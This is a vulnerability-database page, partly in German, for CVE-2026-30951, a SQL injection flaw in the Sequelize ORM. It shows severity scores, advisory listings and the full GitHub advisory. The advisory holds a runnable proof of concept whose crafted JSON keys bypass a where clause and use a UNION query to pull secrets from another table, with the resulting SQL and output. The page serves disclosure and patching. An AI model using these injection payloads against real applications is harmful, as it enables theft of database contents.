CVE-2026-30951

highPriorität · verfolgen · 40EPSS 0.004 · 38. PerzentilExploit · PoCDEEURUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
2 exploits · PoC
Likely / severe?
0.44% (38th) EPSS
CVSS 7.5 · high
Is it mine?
41 products
Prüfe deine Angriffsfläche
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · bewertet 2026-10-26

Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USAusnutzbarkeit 3.9 · Auswirkung 3.6
v3.17.5highAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · FSTEC (BDU) RU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NsecondaryAusnutzbarkeit 3.9 · Auswirkung 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Psecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

Exploits (2)

Öffentlicher Proof-of-Concept- und Exploit-Code.

05

betroffene Produkte (41)

Betroffene Produkte und Versionsbereiche.

20 von 41 angezeigt
06

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-1160Red Hat Enterprise Linux und Satellite (satellite/iop-remediations-rhel9 container image): Mehrere SchwachstellenDeutsch2026-04-16csaf · cert_bundDE

    Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux und Red Hat Satellite ausnutzen, um Informationen offenzulegen oder beliebigen Code auszuführen.

  • GHSA-6457-6jrx-69crSequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type2026-03-11ghsa · osvUS

    ### Summary SQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. Affected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected. ### Details In `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation: ```javascript // line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item })); } ``` `_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly: ```javascript return `CAST(${result} AS ${smth.type.toUpperCase()})`; ``` JSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not. **Suggested fix** — whitelist known SQL data types: ```javascript const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`); } ``` ### PoC `npm install sequelize@6.37.7 sqlite3` ```javascript const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, }); const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, }); await sequelize.sync({ force: true }); await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]); await Secret.bulkCreate([ { key: 'api_key', value: 'sk-secret-12345' }, { key: 'db_password', value: 'super_secret_password' }, ]); // TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie'] // TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`)); // Returns: api_key=sk-secret-12345, db_password=super_secret_password } main().catch(console.error); ``` **Output:** ``` SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ] ``` ### Impact **SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB). A common vulnerable pattern: ```javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); }); ```

07

auch bekannt als (4)

Weitere Namen und Kennungen dieser Entität.

08

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-03-10geändert 2026-07-15
09

Referenzen (9)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan